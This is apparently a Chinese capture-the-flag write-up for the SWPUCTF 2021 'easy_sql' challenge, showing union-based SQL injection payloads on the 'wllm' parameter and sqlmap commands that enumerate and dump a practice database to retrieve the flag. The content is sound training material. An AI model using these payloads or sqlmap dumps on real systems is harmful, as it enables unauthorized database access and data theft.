sql [SWPUCTF 2021 新生赛]easy_sql

打开题目,直接查看源代码给了提示注入点是wllm

然后得到了name和password

输入1' 报错,说明注入点是字符型注入

输到4的时候报错了

说明列名字段数为3

爆破数据显示位为2,3

我们直接爆破数据库名

我们知道数据库名为test_db

爆破表名

?wllm=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema="test_db" --+

我们知道表名有test_tb和users

我们选择test_tb进行爆破

?wllm=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name="test_tb" --+

看见有id和flag两个字段

我们直接爆破数据

?wllm=-1' union select 1,2,flag from test_tb --+

得到flag

同样这道题也可以用sqlmap跑一下看看

sqlmap -u "http://node4.anna.nssctf.cn:28057/?wllm=1'" --dbs

得到数据库名

sqlmap -u "http://node4.anna.nssctf.cn:28057/?wllm=1'" -D test_db --tables

得到所有表名

sqlmap -u "http://node4.anna.nssctf.cn:28057/?wllm=1'" -D test_db -T test_tb --columns

得到所有列名

sqlmap -u "http://node4.anna.nssctf.cn:28057/?wllm=1'" -D test_db -T test_tb -C flag --dump

得到flag

sqlmap的使用见:

sqlmap的安装与使用-CSDN博客

相关推荐
华科易迅1 天前
Spring 事务(注解)
java·数据库·spring
Java面试题总结1 天前
MySQL篇 索引失效
数据库·mysql
last demo1 天前
mysql
运维·数据库·mysql·oracle
kevin_cat1 天前
oracle 扩展表空间
数据库·oracle
花间相见1 天前
【MySQL面试题】—— MySQL面试高频问题汇总:从原理到实战,覆盖90%考点
数据库·mysql·面试
高梦轩1 天前
MySQL 数据库备份与恢复
数据库·oracle
一直都在5721 天前
Redis(二)
数据库·redis·缓存
TDengine (老段)1 天前
TDengine IDMP 工业数据建模 —— 属性
大数据·数据库·人工智能·时序数据库·tdengine·涛思数据
爱丽_1 天前
Redis 分布式锁:SET NX、过期时间、续租、可重入、Redlock 与坑
数据库·redis·分布式
IT小崔1 天前
SqlSugar 使用教程
数据库·后端